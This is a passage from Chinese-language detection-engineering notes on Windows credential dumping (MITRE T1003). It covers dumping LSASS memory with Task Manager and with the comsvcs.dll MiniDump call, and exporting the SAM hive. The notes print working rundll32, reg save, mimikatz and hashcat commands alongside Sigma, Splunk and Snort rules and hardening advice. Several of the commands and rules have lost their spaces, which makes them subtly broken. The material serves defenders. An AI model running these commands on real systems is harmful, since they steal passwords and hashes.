    "content": "# T1003-Win-使用Windows任务管理器转储Lsass.exe内存\n\n## 描述\n\n凭据转储（Credential Dumping，MITRE ATT&CK T1003）是指攻击者从操作系统或软件中提取用户登录凭据（明文密码、NTLM哈希或Kerberos票据）以实现横向移动或访问受限资源。在Windows系统中，本地安全机构子系统服务（LSASS）进程（lsass.exe）存储用户会话的凭据信息。攻击者可通过Windows任务管理器以管理员权限转储`lsass.exe`内存，生成`.dmp`文件，随后使用Mimikatz等工具离线提取凭据。此技术无需外部工具，操作简单，但需本地管理员权限，且转储文件可能被安全软件检测。\n\n## 测试案例\n\n### 测试环境\n- 系统：Windows Server 2019或Windows 10\n- 工具：Windows任务管理器（内置）、Mimikatz（可选，离线分析）\n- 要求：本地管理员权限、域环境（lab.local，可选）\n- 用户：Administrator（密码：Password123）\n- 日志：Sysmon（事件ID1、11）、Windows安全日志（事件ID4688、4656）\n\n### 测试准备\n1. 确认管理员权限：\n   ```cmd\n   whoami /priv\n   ```\n   - 确保具有`SeDebugPrivilege`权限。\n2. 安装Sysmon（可选）：\n   - 下载：<https://docs.microsoft.com/sysinternals/downloads/sysmon>\n   - 配置：启用事件ID1（进程创建）、11（文件操作）。\n   - 示例配置：`sysmon.exe -i sysmonconfig.xml`\n3. 启用安全日志审计：\n   - 组策略：计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 进程跟踪、对象访问 > 启用成功和失败审计。\n4. 下载Mimikatz（可选）：\n   - URL：<https://github.com/gentilkiwi/mimikatz>\n   - 放置于本地（C:\\Tools\\mimikatz）。\n5. 确保活跃用户会话：\n   - 登录Administrator或其他用户，生成LSASS凭据。\n\n### 测试步骤\n1. **打开任务管理器**：\n   - 按`Ctrl+Shift+Esc`或右键任务栏 > 任务管理器。\n   - 若非管理员模式，右键任务管理器图标 > 以管理员身份运行。\n2. **定位lsass.exe**：\n   - 切换到“详细信息”标签，找到`lsass.exe`（本地安全机构进程）。\n3. **转储内存**：\n   - 右键`lsass.exe` > 创建转储文件。\n   - 记录转储路径（如`C:\\Users\\Administrator\\AppData\\Local\\Temp\\lsass.DMP`）。\n4. **验证转储文件**：\n   - 导航到`C:\\Users\\Administrator\\AppData\\Local\\Temp\\`。\n   - 确认`lsass.DMP`存在（约50-100MB）。\n5. **离线提取凭据**（可选）：\n   - 复制`lsass.DMP`到分析系统。\n   - 使用Mimikatz：\n     ```cmd\n     mimikatz.exe \"sekurlsa::minidump lsass.DMP\" \"sekurlsa::logonpasswords\" exit\n     ```\n     - 输出示例：\n       ```\n       msv:\n         * Username: Administrator\n         * Domain: LAB\n         * NTLM: <NTLMHash>\n       wdigest:\n         * Username: Administrator\n         * Domain: LAB\n         * Password: Password123\n       ```\n\n### 参考资源\n- LSASS内存转储技术：<https://www.cnblogs.com/zUotTe0/p/14553082.html>\n- Mimikatz文档：<https://github.com/gentilkiwi/mimikatz>\n- MITRE ATT&CK T1003：<https://attack.mitre.org/techniques/T1003/>\n\n## 检测日志\n\n### 数据来源\n- **Sysmon日志**：\n  - 事件ID1：进程创建（taskmgr.exe）\n  - 事件ID11：文件创建（lsass.DMP）\n- **Windows安全日志**：\n  - 事件ID4688：进程创建（taskmgr.exe）\n  - 事件ID4656：文件访问（lsass.DMP，需启用对象访问审计）\n- **文件系统**：\n  - 监控`%localappdata%\\Temp\\`或`C:\\Windows\\Temp\\`的`.dmp`文件\n- **网络流量**（可选）：\n  - 捕获`.dmp`文件传输（SMB 445/TCP、FTP 21/TCP）\n\n### 日志示例\n- **Sysmon事件ID1**（taskmgr.exe进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Windows\\System32\\taskmgr.exe</Data>\n      <Data Name=\"CommandLine\">C:\\Windows\\System32\\taskmgr.exe</Data>\n      <Data Name=\"ParentImage\">C:\\Windows\\explorer.exe</Data>\n      <Data Name=\"User\">LAB\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **Sysmon事件ID11**（lsass.DMP文件创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetFilename\">C:\\Users\\Administrator\\AppData\\Local\\Temp\\lsass.DMP</Data>\n      <Data Name=\"Image\">C:\\Windows\\System32\\taskmgr.exe</Data>\n      <Data Name=\"User\">LAB\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **Windows事件ID4656**（文件访问，需启用审计）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ObjectName\">C:\\Users\\Administrator\\AppData\\Local\\Temp\\lsass.DMP</Data>\n      <Data Name=\"ProcessName\">C:\\Windows\\System32\\taskmgr.exe</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 测试复现\n\n### 环境配置\n- 系统：Windows 10\n- 工具：任务管理器\n- 用户：Administrator（密码：Password123）\n- 日志：Sysmon（事件ID1、11）\n- 路径：C:\\Users\\Administrator\\AppData\\Local\\Temp\\\n\n### 复现步骤\n1. **启动任务管理器**：\n   ```cmd\n   taskmgr\n   ```\n   - 或按`Ctrl+Shift+Esc`。\n2. **转储lsass.exe**：\n   - 切换到“详细信息”标签，右键`lsass.exe` > 创建转储文件。\n   - 记录路径（如`C:\\Users\\Administrator\\AppData\\Local\\Temp\\lsass.DMP`）。\n3. **验证文件**：\n   ```cmd\n   dir C:\\Users\\Administrator\\AppData\\Local\\Temp\\lsass.DMP\n   ```\n   - 输出：确认文件存在。\n4. **离线分析**（可选）：\n   ```cmd\n   mimikatz.exe \"sekurlsa::minidump C:\\Users\\Administrator\\AppData\\Local\\Temp\\lsass.DMP\" \"sekurlsa::logonpasswords\" exit\n   ```\n   - 输出：\n     ```\n     wdigest:\n       * Username: Administrator\n       * Domain: LAB\n       * Password: Password123\n     ```\n5. **检查日志**：\n   - Sysmon事件ID11：确认`lsass.DMP`创建。\n\n## 测试留痕\n\n### Sysmon日志\n- **事件ID1**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Windows\\System32\\taskmgr.exe</Data>\n      <Data Name=\"CommandLine\">C:\\Windows\\System32\\taskmgr.exe</Data>\n      <Data Name=\"ParentImage\">C:\\Windows\\explorer.exe</Data>\n      <Data Name=\"User\">LAB\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID11**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetFilename\">C:\\Users\\Administrator\\AppData\\Local\\Temp\\lsass.DMP</Data>\n      <Data Name=\"Image\">C:\\Windows\\System32\\taskmgr.exe</Data>\n      <Data Name=\"User\">LAB\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Windows安全日志\n- **事件ID4656**（需启用审计）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ObjectName\">C:\\Users\\Administrator\\AppData\\Local\\Temp\\lsass.DMP</Data>\n      <Data Name=\"ProcessName\">C:\\Windows\\System32\\taskmgr.exe</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n### 文件系统\n- 文件：`C:\\Users\\Administrator\\AppData\\Local\\Temp\\lsass.DMP`（50-100MB）\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - Sysmon事件ID11：检测`taskmgr.exe`创建`lsass.DMP`。\n   - Sysmon事件ID1：监控`taskmgr.exe`异常启动（非explorer.exe父进程）。\n2. **文件监控**：\n   - 审计`%localappdata%\\Temp\\`和`C:\\Windows\\Temp\\`的`.dmp`文件创建。\n   - 监控`lsass.DMP`的异常访问或传输。\n3. **行为分析**：\n   - 检测非预期管理员启动任务管理器。\n   - 监控短时间内多次`.dmp`文件生成。\n4. **网络监控**：\n   - 捕获`.dmp`文件传输（SMB 445/TCP、FTP 21/TCP）。\n5. **关联分析**：\n   - 结合事件ID4624，检测转储后的异常登录。\n   - 监控Mimikatz执行（事件ID1，`mimikatz.exe`）。\n\n### Sigma规则\n#### 规则一：任务管理器转储LSASS\n```yaml\ntitle: 任务管理器转储LSASS内存检测\nid: k1f2g3h4-5i6j-7k8l-fm7g-4h5i6j7k8l9m\nstatus: stable\ndescription: 检测任务管理器创建lsass.DMP文件的LSASS内存转储行为\nreferences:\n  - https://attack.mitre.org/techniques/T1003/\ntags:\n  - attack.credential_access\n  - attack.t1003\nlogsource:\n  product: windows\n  category: file_event\ndetection:\n  selection:\n    EventID: 11\n    Image|endswith: '\\taskmgr.exe'\n    TargetFilename|contains: 'lsass.DMP' \n  condition: selection\nfields:\n  - ComputerName\n  - User\n  - Image\n  - TargetFilename\nfalsepositives:\n  - 管理员合法调试\n  - 系统诊断工具生成转储\nlevel: high\n```\n\n#### 规则二：异常任务管理器启动\n```yaml\ntitle: 异常任务管理器启动检测\nid: l2g3h4i5-6j7k-8l9m-gn8h-5i6j7k8l9m0n\nstatus: stable\ndescription: 检测任务管理器异常启动，可能与LSASS转储相关\nreferences:\n  - https://attack.mitre.org/techniques/T1003/\ntags:\n  - attack.credential_access\n  - attack.t1003\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID|in:\n      - 4688\n      - 1\n    Image|endswith: '\\taskmgr.exe'\n    ParentImage|notcontains:\n      - '\\explorer.exe'\n      - '\\cmd.exe'\n  condition: selection\nfields:\n  - ComputerName\n  - User\n  - Image\n  - ParentImage\nfalsepositives:\n  - 管理员通过脚本启动任务管理器\nlevel: medium\n```\n\n### Splunk规则\n```spl\nindex=sysmon EventCode=11 Image=\"*taskmgr.exe\" TargetFilename=\"*lsass.DMP\"\nOR (EventCode IN (1,4688) Image=\"*taskmgr.exe\" NOT (ParentImage IN (\"*explorer.exe\",\"*cmd.exe\")))\n| fields EventCode,Image,TargetFilename,ParentImage,User\n```\n\n规则说明：\n- 检测`taskmgr.exe`创建`lsass.DMP`或异常启动。\n- 减少误报：排除常见父进程。\n\n## 防御建议\n1. **权限控制**：\n   - 限制`SeDebugPrivilege`权限，仅授权必要管理员。\n   - 使用组策略禁止普通用户访问`lsass.exe`。\n2. **日志监控**：\n   - 部署Sysmon，启用事件ID1、11。\n   - 启用对象访问审计，监控`lsass.DMP`。\n   - 使用SIEM关联`taskmgr.exe`和`.dmp`事件。\n3. **凭据保护**：\n   - 启用Credential Guard（Windows 10/2016+）。\n   - 禁用WDigest协议（组策略）。\n4. **工具限制**：\n   - 使用AppLocker限制`taskmgr.exe`非预期执行。\n   - 监控Mimikatz运行。\n5. **主动防御**：\n   - 部署诱捕凭据，监控LSASS访问。\n   - 使用EDR检测`taskmgr.exe`异常行为。\n\n## 参考推荐\n- MITRE ATT&CK T1003:  \n  <https://attack.mitre.org/techniques/T1003/>\n- LSASS内存转储技术:  \n  <https://www.cnblogs.com/zUotTe0/p/14553082.html>\n- Mimikatz文档:  \n  <https://github.com/gentilkiwi/mimikatz>\n- LSASS防御最佳实践:  \n  <https://adsecurity.org/?p=1760>\n- Sysmon配置指南:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>"
  },
  {
    "path": "Windows/08凭证访问/T1003-win-使用comsvc​​s.dll转储Lsass.exe内存.md",
    "content": "# T1003-Win-使用Comsvcs.dll转储Lsass.exe内存\n\n## 描述\n\n凭据转储是指攻击者从操作系统或软件中提取账户登录名和密码（明文或哈希）以进行横向移动或访问受限资源。Windows系统中，登录凭据存储在本地安全机构子系统服务（LSASS）进程内存中。攻击者可通过调用系统内置的`comsvcs.dll`（位于`C:\\Windows\\System32\\`）中的`MiniDump`函数，使用`rundll32.exe`转储`lsass.exe`内存，生成`.dmp`文件，随后离线使用Mimikatz等工具提取凭据。此技术利用系统原生组件，隐蔽性强，但需管理员权限，且可能被EDR或杀毒软件检测。\n\n## 测试案例\n\n**测试环境**：\n- 系统：Windows Server 2016/2019或Windows10\n- 工具：rundll32.exe、comsvcs.dll（系统内置）、Mimikatz（可选，离线分析）\n- 要求：管理员权限、域环境（可选，lab.local）、启用Sysmon和PowerShell日志\n- 用户：Administrator（测试账户）\n\n**测试准备**：\n1. 确保以管理员身份登录（普通用户需提权）。\n2. 安装Sysmon（配置事件ID 1：进程创建，11：文件操作，10：进程访问）。\n3. 启用PowerShell日志（组策略：计算机配置>管理模板>Windows组件>WindowsPowerShell>启用模块日志）。\n4. 启用Windows安全日志审计（组策略：计算机配置>策略>Windows设置>安全设置>本地策略>审核策略>进程跟踪、对象访问）。\n5. 下载Mimikatz（<https://github.com/gentilkiwi/mimikatz>）用于离线凭据提取（可选）。\n6. 使用`tasklist|findstrlsass.exe`获取`lsass.exe`的PID。\n\n**测试步骤**：\n1. **获取lsass.exe的PID**：\n   ```cmd\n   tasklist|findstrlsass.exe\n   ```\n   预期输出：\n   ```\n   lsass.exe648Services09,876K\n   ```\n2. **使用rundll32调用comsvcs.dll转储LSASS内存**：\n   ```powershell\n   rundll32 C:\\Windows\\System32\\comsvcs.dll, MiniDump 648 C:\\AtomicRedTeam\\lsass.dmp full\n   ```\n   或通过PowerShell动态获取PID：\n   ```powershell\n   C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump (Get-Processlsass).id $env:TEMP\\lsass-comsvcs.dmp full\n   ```\n   预期结果：生成`lsass.dmp`或`lsass-comsvcs.dmp`（约50-100MB）。\n3. **验证转储文件**：\n   - 导航到指定路径（如`C:\\AtomicRedTeam\\`或`%TEMP%`），确认`.dmp`文件存在。\n4. **离线提取凭据**（可选）：\n   - 将`.dmp`文件传输到本地分析系统（通过SMB、USB等）。\n   - 使用Mimikatz提取凭据：\n     ```cmd\n     mimikatz.exe \"sekurlsa::minidumplsass.dmp\" \"sekurlsa::logonpasswords\" exit\n     ```\n     预期输出：\n     ```\n     msv:\n       *Username:Administrator\n       *Domain:LAB\n       *NTLM:<NTLMHash>\n     wdigest:\n       *Username:Administrator\n       *Domain:LAB\n       *Password:Password123\n     ```\n\n**参考资源**：\n- comsvcs.dll转储技术：<https://www.cnblogs.com/Yang34/p/14418572.html>\n- Windows凭据提取：<https://blog.csdn.net/xiangshen1990/article/details/104865393>\n- MITREATT&CKT1003：<https://attack.mitre.org/techniques/T1003/>\n\n## 检测日志\n\n**数据来源**：\n- **Sysmon日志**（推荐）：\n  - 事件ID1：进程创建（rundll32.exe）\n  - 事件ID10：进程访问（rundll32.exe访问lsass.exe）\n  - 事件ID11：文件操作（lsass.dmp创建）\n- **Windows安全日志**：\n  - 事件ID4688：新进程创建（rundll32.exe）\n  - 事件ID4656：文件访问（需启用对象访问审计，捕获lsass.dmp）\n- **PowerShell日志**：\n  - 事件ID400：PowerShell引擎启动\n  - 事件ID4103/4104：PowerShell命令执行（若通过PowerShell调用）\n- **网络流量**：\n  - 捕获`.dmp`文件传输（SMB445/TCP、FTP21/TCP等）。\n\n**关键日志字段**：\n- 事件ID1（Sysmon）：\n  - `Image`：C:\\Windows\\System32\\rundll32.exe\n  - `CommandLine`：包含`comsvcs.dll`和`MiniDump`\n  - `ParentImage`：powershell.exe或cmd.exe\n- 事件ID10（Sysmon）：\n  - `SourceImage`：C:\\Windows\\System32\\rundll32.exe\n  - `TargetImage`：C:\\Windows\\System32\\lsass.exe\n- 事件ID11（Sysmon）：\n  - `TargetFilename`：C:\\AtomicRedTeam\\lsass.dmp或%TEMP%\\lsass-comsvcs.dmp\n- 事件ID4688（Windows安全日志）：\n  - `ProcessName`：C:\\Windows\\System32\\rundll32.exe\n  - `CommandLine`：C:\\Windows\\System32\\rundll32.exeC:\\Windows\\System32\\comsvcs.dllMiniDump<PID><path>\\lsass.dmpfull\n- 事件ID400（PowerShell）：\n  - `HostApplication`：powershell.exe-crundll32...\n\n## 测试复现\n\n**环境配置**：\n- 系统：Windows Server 2016\n- 工具：rundll32.exe、comsvcs.dll（内置）\n- 用户：Administrator（密码：Password123）\n- 日志：Sysmon（事件ID1、10、11）、PowerShell（事件ID400）\n- 路径：C:\\AtomicRedTeam\\\n\n**复现步骤**：\n1. 获取lsass.exe的PID：\n   ```cmd\n   C:\\>tasklist|findstrlsass.exe\n   lsass.exe648Services09,876K\n   ```\n2. 执行转储命令：\n   ```powershell\n   C:\\>powershell -c \"rundll32 C:\\Windows\\System32\\comsvcs.dll, MiniDump 648 C:\\AtomicRedTeam\\lsass.dmp full\"\n   ```\n   或动态获取PID：\n   ```powershell\n   C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump (Get-Processlsass).id $env:TEMP\\lsass-comsvcs.dmp full\n   ```\n3. 验证转储文件：\n   - 检查`C:\\AtomicRedTeam\\lsass.dmp`或`%TEMP%\\lsass-comsvcs.dmp`是否存在。\n4. （可选）离线分析：\n   - 传输`lsass.dmp`到本地系统。\n   - 使用Mimikatz：\n     ```cmd\n     C:\\Tools\\mimikatz>mimikatz.exe \"sekurlsa::minidumplsass.dmp\" \"sekurlsa::logonpasswords\" exit\n     wdigest:\n       *Username:Administrator\n       *Domain:LAB\n       *Password:Password123\n     ```\n5. 验证日志：\n   - Sysmon：事件ID1（rundll32.exe）、11（lsass.dmp创建）。\n   - PowerShell：事件ID400（powershell.exe调用rundll32）。\n   - Windows安全日志：事件ID4688（rundll32.exe进程创建）。\n\n## 测试留痕\n\n**Sysmon日志**：\n- **事件ID1**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"Image\">C:\\Windows\\System32\\rundll32.exe</Data>\n      <DataName=\"CommandLine\">\"C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\System32\\comsvcs.dll MiniDump 648 C:\\AtomicRedTeam\\lsass.dmp full</Data>\n      <DataName=\"ParentImage\">C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe</Data>\n      <DataName=\"User\">LAB\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID10**（进程访问）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"SourceImage\">C:\\Windows\\System32\\rundll32.exe</Data>\n      <DataName=\"TargetImage\">C:\\Windows\\System32\\lsass.exe</Data>\n      <DataName=\"CallTrace\">rundll32.exe|comsvcs.dll|ntdll.dll</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID11**（文件创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"TargetFilename\">C:\\AtomicRedTeam\\lsass.dmp</Data>\n      <DataName=\"Image\">C:\\Windows\\System32\\rundll32.exe</Data>\n      <DataName=\"User\">LAB\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n**Windows安全日志**：\n- **事件ID4688**（进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"ProcessName\">C:\\Windows\\System32\\rundll32.exe</Data>\n      <DataName=\"CommandLine\">\"C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\System32\\comsvcs.dll MiniDump 648 C:\\AtomicRedTeam\\lsass.dmp full</Data>\n      <DataName=\"ParentProcessName\">C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe</Data>\n      <DataName=\"SubjectUserName\">Administrator</Data>\n      <DataName=\"TokenElevationType\">%%1936</Data>\n    </EventData>\n  </Event>\n  ```\n\n**PowerShell日志**：\n- **事件ID400**（引擎启动）：\n  ```xml\n  <Event>\n    <EventData>\n      <DataName=\"HostApplication\">C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c rundll32 C:\\Windows\\System32\\comsvcs.dll, MiniDump 648 C:\\AtomicRedTeam\\lsass.dmp full</Data>\n      <DataName=\"NewEngineState\">Available</Data>\n      <DataName=\"PreviousEngineState\">None</Data>\n      <DataName=\"RunspaceId\">af860283-73a9-452c-a1cd-ea808dbaf232</Data>\n    </EventData>\n  </Event>\n  ```\n\n**文件系统**：\n- 文件：`C:\\AtomicRedTeam\\lsass.dmp`或`%TEMP%\\lsass-comsvcs.dmp`（约50-100MB）\n\n## 检测规则/思路\n\n### Sigma规则\n\n**规则一：检测rundll32调用comsvcs.dll转储LSASS**：\n```yaml\ntitle: Rundll32调用comsvcs.dll转储LSASS检测\nid: l2g3h4i5-6j7k-8l9m-gn8h-5i6j7k8l9m0n\nstatus: stable\ndescription: 检测通过rundll32调用comsvcs.dll的MiniDump函数转储LSASS内存的行为\nreferences:\n  -https://attack.mitre.org/techniques/T1003/\n  -https://www.cnblogs.com/Yang34/p/14418572.html\ntags:\n  -attack.credential_access\n  -attack.t1003\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    EventID|in:\n      -4688\n      -1\n    Image|endswith: '\\rundll32.exe'\n    CommandLine|contains:\n      -'comsvcs.dll'\n      -'MiniDump'\n      -'.dmp'\n  condition: selection\nfields:\n  -ComputerName\n  -User\n  -Image\n  -CommandLine\n  -ParentImage\nfalsepositives:\n  -管理员合法使用rundll32进行系统调试\n  -第三方软件调用comsvcs.dll\nlevel: critical\n```\n\n**规则二：检测comsvcs.dll创建LSASS转储文件**：\n```yaml\ntitle: comsvcs.dll创建LSASS转储文件检测\nid: m3h4i5j6-7k8l-9m0n-ho9i-6j7k8l9m0n1o\nstatus: stable\ndescription: 检测rundll32通过comsvcs.dll创建LSASS转储文件的行为\nreferences:\n  -https://attack.mitre.org/techniques/T1003/\ntags:\n  -attack.credential_access\n  -attack.t1003\nlogsource:\n  category: file_event\n  product: windows\ndetection:\n  selection:\n    EventID:11\n    Image|endswith: '\\rundll32.exe'\n    TargetFilename|contains: '.dmp'\n  condition: selection\nfields:\n  -ComputerName\n  -User\n  -Image\n  -TargetFilename\nfalsepositives:\n  -合法调试工具生成转储文件\nlevel: high\n```\n\n**规则优化说明**：\n- 规则一：聚焦`rundll32.exe`的命令行，检测`comsvcs.dll`和`MiniDump`的调用。\n- 规则二：监控Sysmon事件ID11，检测`rundll32.exe`创建`.dmp`文件。\n- 考虑`comsvcs.dll`路径变体（如非`System32`），但需平衡误报。\n\n### 检测思路\n\n1. **日志监控**：\n   - 监控Sysmon事件ID1/4688，检测`rundll32.exe`执行，命令行包含`comsvcs.dll`和`MiniDump`。\n   - 监控事件ID10，检测`rundll32.exe`访问`lsass.exe`。\n   - 监控事件ID11，检测`.dmp`文件创建（如lsass.dmp）。\n   - 监控PowerShell事件ID400/4104，捕获通过PowerShell调用rundll32的行为。\n\n2. **行为分析**：\n   - 检测非管理员用户以管理员权限运行`rundll32.exe`。\n   - 监控短时间内多次`.dmp`文件生成或`lsass.exe`访问。\n\n3. **文件监控**：\n   - 启用文件审计，监控`%TEMP%`或自定义路径（如`C:\\AtomicRedTeam\\`）的`.dmp`文件创建。\n   - 检查`comsvcs.dll`的异常加载（如非`C:\\Windows\\System32\\`路径）。\n\n4. **网络监控**：\n   - 捕获`.dmp`文件传输流量（SMB445/TCP、FTP21/TCP）。\n   - 示例Snort规则：\n     ```snort\n     alerttcpanyany->any445(msg:\"LSASSDMPFileTransfer\";content:\".dmp\";sid:1000007;)\n     ```\n\n5. **关联分析**：\n   - 结合事件ID4624（登录成功），检测转储后的异常登录。\n   - 监控Mimikatz执行（事件ID1，`mimikatz.exe`）。\n\n## 防御建议\n\n1. **权限管理**：\n   - 限制普通用户对`lsass.exe`和`comsvcs.dll`的访问权限（通过组策略）。\n   - 仅允许必要管理员运行`rundll32.exe`高权限操作。\n\n2. **日志与监控**：\n   - 部署Sysmon，启用事件ID1、10、11。\n   - 启用PowerShell日志（事件ID400、4103/4104）。\n   - 启用对象访问审计，监控`%TEMP%\\*.dmp`和`lsass.exe`。\n   - 使用SIEM（如Splunk）关联`rundll32.exe`、`comsvcs.dll`和`.dmp`文件创建。\n\n3. **凭据保护**：\n   - 启用CredentialGuard（Windows10/2016+），防止LSASS存储明文凭据。\n   - 禁用WDigest协议（组策略：计算机配置>管理模板>MSSecurityGuide>WDigestAuthentication）。\n\n4. **工具限制**：\n   - 使用AppLocker或WDAC限制`rundll32.exe`加载非签名DLL。\n   - 监控`comsvcs.dll`的非标准路径加载。\n   - 阻止Mimikatz等工具运行。\n\n5. **主动防御**：\n   - 部署诱捕凭据（HoneyCredentials），监控异常LSASS访问。\n   - 使用EDR工具检测`rundll32.exe`异常行为或`.dmp`文件生成。\n   - 安装终端防护软件（如360安全卫士），增强对`comsvcs.dll`滥用的检测。\n\n## 参考推荐\n\n- MITREATT&CK:CredentialDumping(T1003)  \n  <https://attack.mitre.org/techniques/T1003/>\n- comsvcs.dll转储技术  \n  <https://www.cnblogs.com/Yang34/p/14418572.html>\n- Windows凭据提取  \n  <https://blog.csdn.net/xiangshen1990/article/details/104865393>\n- Mimikatz文档  \n  <https://github.com/gentilkiwi/mimikatz>\n- LSASS凭据提取防御  \n  <https://adsecurity.org/?p=1760>\n- Rundll32参考  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32>"
  },
  {
    "path": "Windows/08凭证访问/T1003.002-Win-基于Sam-reg凭证转储.md",
    "content": "# T1003.002-基于SAM-reg凭证获取\n\n## 描述\n\n凭证获取是从操作系统或软件中提取登录信息（如密码哈希或明文密码）的过程，常用于横向移动以访问其他系统。安全账户管理器（SAM）是一个存储Windows本地账户密码哈希的数据库文件，位于`%SystemRoot%\\system32\\config\\SAM`，注册表路径为`HKLM\\SAM`。SAM存储用户密码的LM哈希或NTLM哈希，需系统权限（SYSTEM）才能访问。\n\n为防止离线破解，WindowsNT4.0引入SYSKEY功能，部分加密SAM文件中的密码哈希。攻击者可通过导出SAM和SYSTEM注册表配置单元（或直接备份文件），使用工具如Mimikatz、pwdump7或hashcat离线提取哈希。提取的哈希可用于密码破解或传递哈希（Pass-the-Hash）攻击。\n\n## 测试案例\n\n### 测试案例1：使用reg命令导出SAM和SYSTEM文件\n通过`reg save`导出注册表配置单元，离线提取密码哈希。\n\n**命令**：\n```cmd\nreg save HKLM\\SAM C:\\Temp\\sam.hiv\nreg save HKLM\\SYSTEM C:\\Temp\\system.hiv\n```\n\n- **说明**：\n  - 导出`HKLM\\SAM`和`HKLM\\SYSTEM`到指定路径。\n  - 使用Mimikatz等工具离线提取哈希。\n- **权限**：需要SYSTEM权限。\n- **支持系统**：WindowsXP、Windows7、Windows8、Windows8.1、Windows10、WindowsServer。\n\n### 测试案例2：直接备份SAM和SYSTEM文件\n直接复制SAM和SYSTEM配置文件，离线提取哈希。\n\n**命令**：\n```cmd\ncopy C:\\Windows\\System32\\config\\SAM C:\\Temp\\sam.hiv\ncopy C:\\Windows\\System32\\config\\SYSTEM C:\\Temp\\system.hiv\n```\n\n- **说明**：\n  - 需要SYSTEM权限访问`config`目录。\n  - 可结合Mimikatz进行哈希提取。\n- **权限**：需要SYSTEM权限。\n\n### 测试案例3：使用Mimikatz提取哈希\n结合导出的SAM和SYSTEM文件，使用Mimikatz离线提取NTLM哈希。\n\n**命令**：\n```cmd\nmimikatz.exe \"lsadump::sam /sam:C:\\Temp\\sam.hiv /system:C:\\Temp\\system.hiv\" exit\n```\n\n- **说明**：\n  - 提取本地账户的NTLM哈希，如Administrator（RID500）或自定义用户（RID1000+）。\n- **权限**：普通用户可执行Mimikatz，但需提供导出的SAM和SYSTEM文件。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`reg.exe`或`copy.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID11：文件创建，记录导出的`.hiv`文件。\n  - 事件ID13：注册表修改，记录对`HKLM\\SAM`或`HKLM\\SYSTEM`的访问。\n- 文件监控：\n  - 检测非系统路径下的`.hiv`文件或对`C:\\Windows\\System32\\config\\`的访问。\n- 行为监控：\n  - 检测`mimikatz.exe`或类似工具的执行。\n\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：WindowsServer2012\n- 工具：\n  - Mimikatz（哈希提取）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：本地导出SAM和SYSTEM文件并提取哈希\n1. **获取SYSTEM权限**：\n   - 使用提权工具（如Metasploit的`getsystem`）或已有的Administrator账户提升至SYSTEM权限。\n   ```cmd\n   whoami /priv\n   ```\n\n2. **导出注册表配置单元**：\n   在靶机上执行：\n   ```cmd\n   reg save HKLM\\SAM C:\\Temp\\sam.hiv\n   reg save HKLM\\SYSTEM C:\\Temp\\system.hiv\n   ```\n\n3. **复制文件到攻击机**：\n   将`sam.hiv`和`system.hiv`复制到攻击机（如通过SMB或HTTP）。\n\n4. **使用Mimikatz提取哈希**：\n   在攻击机上运行：\n   ```cmd\n   mimikatz.exe \"lsadump::sam /sam:sam.hiv /system:system.hiv\" exit\n   ```\n   - 示例输出：\n     ```\n     RID  : 000001f4 (500)\n     User : Administrator\n       Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0\n     RID  : 000003eb (1003)\n     User : test\n       Hash NTLM: a2345375a47a92754e2505132aca194b\n     ```\n\n5. **破解哈希**：\n   使用hashcat破解NTLM哈希：\n   ```bash\n   hashcat -m 1000 -a 0 ntlm_hashes.txt wordlist.txt\n   ```\n\n6. **结果分析**：\n   - 成功：提取Administrator和其他用户的NTLM哈希，可用于密码破解或传递哈希攻击。\n   - 失败可能：\n     - 缺乏SYSTEM权限。\n     - SYSKEY加密未正确解密（需提供正确的SYSTEM文件）。\n     - 文件传输被防火墙阻止。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  进程信息:\n    新进程ID:0x1234\n    新进程名称:C:\\Windows\\System32\\reg.exe\n    命令行:reg save HKLM\\SAM C:\\Temp\\sam.hiv\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n  ```\n  进程信息:\n    新进程ID:0x5678\n    新进程名称:C:\\Windows\\System32\\reg.exe\n    命令行:reg save HKLM\\SYSTEM C:\\Temp\\system.hiv\n    